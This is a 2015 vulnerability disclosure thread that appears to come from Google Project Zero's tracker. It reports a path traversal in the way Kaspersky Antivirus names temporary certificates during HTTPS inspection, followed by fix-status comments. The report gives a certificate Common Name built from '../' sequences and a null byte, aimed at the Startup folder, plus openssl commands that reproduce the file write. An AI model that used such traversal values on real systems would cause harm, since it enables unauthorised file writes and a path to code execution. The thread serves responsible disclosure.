|
|
Kaspersky Antivirus Certificate handling path traversal | |
| Project Member Reported by taviso@google.com, Sep 18 2015 | Back to list | |
When Kaspersky https inspection is enabled, temporary certificates are created in %PROGRAMDATA% for validation. I observed that the naming pattern is {CN}.cer.
I created a certificate with CN="../../../../Users/All Users/Start Menu/Startup/foo.bat\x00", browsed to an SSL server presenting that certificate and Kaspersky created that certificate name. Jumping from this to code execution seems quite straightforward. I didn't try it, but it seems quite easy to make some ASN.1/X.509 that is also a valid batch file or some other relaxed-parsing format.
Here is how to generate a certificate to reproduce:
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 360
Generating a 2048 bit RSA private key
......................................................................+++
...............+++
writing new private key to 'key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:../../../../../Users/All Users/Desktop/hello
Email Address []:
Then test start a server like this:
$ openssl s_server -key key.pem -cert cert.pem -accept 8080
And then navigate to https://host:8080 from the Windows host, and observe a certificate called hello.cer on the desktop. I attached a screenshot to demonstrate. I can't believe this actually worked, note that it's not necessary to click or interact with anything to produce the file.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Project Member
Comment 1
by
taviso@google.com,
Sep 21 2015
,
Oct 9 2015
I believe this issue is scheduled to be fixed today, I'm testing it in a VM now.
,
Nov 16 2015
Final fix was released on November 16th.
,
Nov 24 2015
Hello Tavis, If possible can you help me with the following: How were you able to write a .bat file? I am only able create .cer files. Including the null character '\x00' in the CommonName does not seem to be working. What version of Kaspersky was this tested against?
,
Nov 25 2015
Also it does not look like the path traversal is fixed on the latest version. Kaspersky is still vulnerable after updating to the latest version. |
||
| ► Sign in to add a comment | ||